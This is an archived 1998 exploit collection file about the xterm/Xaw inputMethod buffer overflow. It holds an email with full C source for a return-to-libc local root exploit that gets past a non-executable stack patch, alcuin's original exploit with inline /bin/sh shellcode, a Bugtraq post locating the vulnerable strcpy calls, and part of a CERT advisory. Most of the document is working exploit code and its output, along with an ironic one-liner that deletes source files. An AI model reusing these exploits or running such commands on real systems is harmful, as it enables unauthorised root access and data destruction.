home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / xaw / xaw.txt
Encoding:
Internet Message Format  |  2002-10-21  |  9.5 KB

  1. Date: Wed, 10 Jun 1998 20:09:07 +0200 (MET DST) From: "M.C.Mar" <woloszyn@nospam.it.pl> X-Sender: woloszyn@dollar.it.com.pl
  2. Reply-To: "M.C.Mar" <emsi@it.com.pl>
  3. To: fyodor@insecure.org
  4. Subject: my sploit
  5. Message-ID: <Pine.GSO.3.96.980610200850.7281v-100000@dollar.it.com.pl>
  6. X-Hidden-txt: Screw Windoze
  7.  
  8. Hi! 
  9.  
  10. I developed sploit against Xaw and neXtaw which works even is Solar Designer's patch is applyed. 
  11.  
  12. While compiling tandard sploit developed by alcuin: emsi:~/hack> gcc xterm.c 
  13. emsi:~/hack> ./a.out 
  14. Segmentation fault 
  15.  
  16. Then as root:
  17. emsi:/home/mcmar/hack# grep overflow /var/adm/syslog -A1 Jun 10 19:09:39 emsi kernel: Possible buffer overflow exploit attempt: Jun 10 19:09:39 emsi kernel: Process xterm (pid 311, uid 1001, euid 0). 
  18.  
  19. Now compile my sploit:
  20. emsi:~/hack> gcc 3xterm.c -L /usr/X11/lib/ -lXaw -lXmu -lXt -lSM -lICE -lXext -lX11 -lc
  21. emsi:~/hack> ./a.out 
  22. bash# 
  23.  
  24. Cool, izn't it? ;) 
  25.  
  26. And here goes (for the eduction of curse ;) my sploit source: 
  27.  
  28. emsi:~/hack> cat 3xterm.c 
  29. /* 
  30.  
  31. A simple xploit working arround non-executable stack patch! ;) Based on Solar Designer's: "Getting around non-executable stack(fix)" post and:
  32. Rafa│ Wojtczuk's "Defeating Solar Designer'a Non-executable Stach Patch" 
  33.  
  34. sploit by Kil3r of Lam3rZ against both Xaw and neXtaw widgets based on xterm_exp.c by alcuin 
  35.  
  36. Compile it like this:
  37. gcc 3xterm.c -L /usr/X11/lib/ -lXaw -lXmu -lXt -lSM -lICE -lXext -lX11 -lc 
  38.  
  39. Description:
  40. The sploit simply passes the EXECLP address and its parameters addresses onto the stack. To work fine you need to look for execlp Program Linkage Table entry in xterm and for "/bin/sh" string in its data segment... 
  41.  
  42. emsi:~mcmar/hack# gdb xterm
  43. GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i486-slackware-linux), 
  44. Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
  45. (gdb) print execlp 
  46. $1 = {<text variable, no debug info>} 0x804bc78 <execlp> (gdb) x/s 0x8063d2e
  47. 0x8063d2e <_fini+8158>: "/bin/sh" 
  48.  
  49. 0x804bc78 and 0x8063d2e are OK for me, but you may need to look for the riht ones in your case... ;) 
  50.  
  51. GreetZ: bulba, smierc and whole Lam3rZ teem and other Polish hackers. 
  52.  
  53. */ 
  54.  
  55. #include <stdlib.h>
  56. #include <stdio.h>
  57. #include <ctype.h> 
  58.  
  59. #define CONFFILE ".Xdefaults"
  60. #define OLDFILE ".Xdefaults.old"
  61. #define NEWFILE ".Xdefaults.new" 
  62.  
  63. #define EXECLP 0x804bc78 // execlp PLT adress in xterm #define BIN_SH 0x8063d2e // "/bin/sh" string address in xterm ;) 
  64.  
  65. int *ptr; 
  66.  
  67. void main(int argc, char *argv[]) { 
  68.  
  69. char *home;
  70. FILE *f_in, *f_out;
  71. char buff[16384];
  72. char shellbuf[16384];
  73. char *s;
  74. int i; 
  75.  
  76. if (home = getenv("HOME")) chdir(home); 
  77.  
  78. if (!(f_out = fopen(NEWFILE, "w"))) { perror("fopen");
  79. exit(1);
  80.  
  81. if (f_in = fopen(CONFFILE, "r")) {
  82. fseek(f_in,0,SEEK_SET);
  83. while (!feof(f_in)) { 
  84.  
  85.       fgets(buff,16384,f_in);
  86.       for (s=buff;isblank(*s);s++);
  87.       if (strncmp(s,"xterm*inputMethod",17)<0)
  88.         fputs(buff,f_out);
  89.  
  90. }
  91. fclose(f_in);
  92.  
  93. /* fill the buffer with nops */
  94. memset(shellbuf, 0x90, sizeof(shellbuf)); shellbuf[sizeof(shellbuf)-1] = 0; 
  95.  
  96. ptr = (int *)(shellbuf+1028);
  97. *ptr++ =EXECLP;
  98. *ptr++ =EXECLP;
  99. *ptr++ =BIN_SH;
  100. *ptr++ =BIN_SH;
  101. *ptr++ = 0; 
  102.  
  103. fputs("xterm*inputMethod:",f_out);
  104. fputs(shellbuf, f_out);
  105. fclose(f_out); 
  106.  
  107. system("/bin/cp "CONFFILE" "OLDFILE); system("/bin/mv -f "NEWFILE" "CONFFILE); 
  108.  
  109. execl("/usr/X11R6/bin/xterm","xterm",NULL); } 
  110.  
  111.  
  112. --------------------------------------------------------------------------------
  113. M.C.Mar An NT server can be run by an idiot, and usually is. emsi@it.pl 
  114. "If you can't make it good, make it LOOK good." - Bill Gates 
  115.  
  116.  
  117. Date: Mon, 4 May 1998 11:06:05 +0200
  118. From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
  119. To: BUGTRAQ@NETSPACE.ORG
  120. Subject: Re: TOG and xterm problem
  121.  
  122. On Fri, 1 May 1998, Jeff Gehlbach wrote:
  123.  
  124. > Open Group, when *will* the rest of us see at least some clues about where
  125. > the bug lies and how it can be fixed?  You say you won't release patches
  126. > to X11R<6.4, but can you at least be nice enough to tell those of us using
  127. > the still-perfectly-serviceable 6.3 just a tidbit about the problem?
  128.  
  129. Believe or not, it took me 10 minutes to grep the appropriate parts of
  130. X11R6.3 sources, following the clues mentioned in the CERT advisory, and
  131. find the bugs--at least some of them.
  132.  
  133. xc/programs/xterm/charproc.c:
  134. * HandleKeymapChange():
  135.  
  136.     (void) sprintf( mapName, "%sKeymap", params[0] );
  137.     (void) strcpy( mapClass, mapName );
  138.  
  139. (actually, the second command is mostly harmless because the size of
  140. mapName and mapClass is the same)
  141.  
  142. xc/programs/xterm/charproc.c:
  143. * VTInitI18N():
  144.  
  145.         strcpy(tmp, term->misc.input_method);
  146. ...
  147.             strcpy(buf, "@im=");
  148.             strcat(buf, s);
  149. ...
  150.     strcpy(tmp, term->misc.preedit_type);
  151.  
  152. xc/lib/Xaw/XawIm.c:
  153. * OpenIM():
  154.  
  155.             strcpy(modifiers, "@im=");
  156.             strcat(modifiers, ve->im.im_list[i]);
  157.  
  158. * ParseIMNameList():
  159.  
  160.     char        *s, *save_s, *ss, *list[32], **lp, *end;
  161. ...
  162.         list[i] = s;
  163.  
  164. (This one is quite interesting.
  165. Exercise for the reader: write an exploit.)
  166.  
  167. <ironic>
  168. Security hint of the day:
  169.         find . -name '*.[ch]' | \
  170.         xargs egrep -l 'sprintf|strcat|strcpy' | \
  171.         xargs rm
  172. </ironic>
  173.  
  174.  
  175. --Pavel Kankovsky aka Peak  [ Boycott Microsoft--http://www.vcnet.com/bms ]
  176.  
  177.  
  178. P.S. A copy of this message is being submitted to XFree86.
  179.  
  180.  
  181.  
  182.  
  183. /*
  184.  
  185.   xterm_exp.c : linux/x86 xterm.Xaw exploit
  186.   by alcuin - 5/4/98 - [ http://www.rootshell.com/ ]
  187.  
  188.   It works against both Xaw and neXtaw widgets
  189.  
  190.   NB: you have to cp ~/.Xdefaults.old ~/.Xdefaults to be able to
  191.   use xterm again.
  192.         
  193. */
  194.  
  195. #include <stdlib.h>
  196. #include <stdio.h>
  197. #include <ctype.h>
  198.  
  199.  
  200. unsigned int getsp() {
  201.   asm("mov %esp,%eax");
  202. }
  203.  
  204. inline rootshell(){
  205.   __asm__(
  206.       "movb $0x56, %al\n\t"
  207.       "l1:cmpb $0x12, %al\n\t"
  208.       "je l2\n\t"
  209.       "movb $0x12,%al\n\t"
  210.       "call l1\n\t"
  211.       "l2:pop %esi\n\t"
  212.       "xorl %eax,%eax\n\t"
  213.       "movb $0x25, %al\n\t"
  214.       "addl %eax,%esi\n\t"
  215.       "movl %esi,%ebx\n\t"
  216.       "movl %esi,%edi\n\t"
  217.       "movb $8,%al\n\t"
  218.       "addl %eax,%edi\n\t"
  219.       "movb $5,%al\n\t"
  220.       "addl %eax,%esi\n\t" 
  221.       "movl %esi,(%edi)\n\t"
  222.       "movl %edi,%ecx\n\t"
  223.       "incl %edi\n\t"
  224.       "incl %edi\n\t"
  225.       "incl %edi\n\t"
  226.       "incl %edi\n\t"
  227.       "xorb %al,%al\n\t"
  228.       "movl %eax,(%edi)\n\t"
  229.       "movl %edi,%edx\n\t"
  230.       "movb $0xb,%al\n\t"
  231.       "int $0x80\n\t"
  232.       ".string \"/bin/sh\"\n"
  233.       );
  234. }
  235.  
  236.   
  237. #define CONFFILE ".Xdefaults"
  238. #define OLDFILE ".Xdefaults.old"
  239. #define NEWFILE ".Xdefaults.new"
  240.  
  241. main (int argc, char **argv) {
  242.  
  243.   char *home;
  244.   FILE *f_in, *f_out;
  245.   char buf[16384];
  246.   char shellbuf[16384];
  247.   char *s;
  248.   int i;
  249.   unsigned int sp=getsp();
  250.  
  251.   if (home = getenv("HOME")) chdir(home);
  252.  
  253.   if (!(f_out = fopen(NEWFILE, "w"))) {
  254.     perror("fopen");
  255.     exit(1);
  256.   }
  257.  
  258.   if (f_in = fopen(CONFFILE, "r")) {
  259.     fseek(f_in,0,SEEK_SET);
  260.     while (!feof(f_in)) {
  261.       fgets(buf,16384,f_in);
  262.       for (s=buf;isblank(*s);s++);
  263.       if (strncmp(s,"xterm*inputMethod",17)<0)
  264.         fputs(buf,f_out);
  265.     }
  266.     fclose(f_in);
  267.   }
  268.  
  269.   /* fill the buffer with nops */
  270.   memset(shellbuf, 0x90, sizeof(shellbuf));
  271.   shellbuf[sizeof(shellbuf)-1] = 0;
  272.  
  273.   /* write the return adress */
  274.   s = shellbuf+2052;
  275.   *(int *)s=sp+0x69F5;
  276.   
  277.   /* write the root shell code */
  278.   s = shellbuf+2800;
  279.   strcpy(s,(char*)rootshell);
  280.  
  281.   fputs("xterm*inputMethod:",f_out);
  282.   fputs(shellbuf, f_out);
  283.   fclose(f_out);
  284.  
  285.   system("/bin/cp "CONFFILE" "OLDFILE);
  286.   system("/bin/mv -f "NEWFILE" "CONFFILE);
  287.  
  288.   execl("/usr/X11R6/bin/xterm","xterm",NULL);
  289. }
  290.  
  291. [ From CERT advisory VB-98.04 ]
  292.  
  293. I. Description
  294.  
  295. Vulnerabilities exist in the terminal emulator xterm(1), and the Xaw
  296. library distributed in various MIT X Consortium; X Consortium, Inc.;
  297. and The Open Group X Project Team releases. These vulnerabilities may
  298. be exploited by an intruder to gain root access. 
  299.  
  300. The resources and the releases affected by the xterm vulnerability are:
  301.  
  302.                               Resources
  303.                  inputMethod       preeditType      *Keymap
  304.     Release      
  305.     X11R3           NO                 NO             YES
  306.     X11R4           NO                 NO             YES
  307.     X11R5           NO                 NO             YES
  308.     X11R6           NO                 NO             YES
  309.     X11R6.1         YES                YES            YES
  310.     X11R6.2         YES                YES            YES
  311.     X11R6.3         YES                YES            YES
  312.     X11R6.4         YES                YES            YES
  313.  
  314. The resources and the releases affected by the Xaw library
  315. vulnerability are
  316.  
  317.                               Resources
  318.                  inputMethod       preeditType
  319.     Release      
  320.     X11R6           YES                YES
  321.     X11R6.1         YES                YES
  322.     X11R6.2         YES                YES
  323.     X11R6.3         YES                YES
  324.     X11R6.4         YES                YES
  325.  
  326.  
  327. (X11R6.2 was not released to the public.)
  328.  
  329. The Open Group X Project Team has investigated the issue and recommends 
  330. the following steps for neutralizing the exposure. It is HIGHLY RECOMMENDED
  331. that these measures be implemented on ALL vulnerable systems. This issue 
  332. will be corrected in future X Project Team releases of X11.
  333.  
  334.  
  335.  
  336.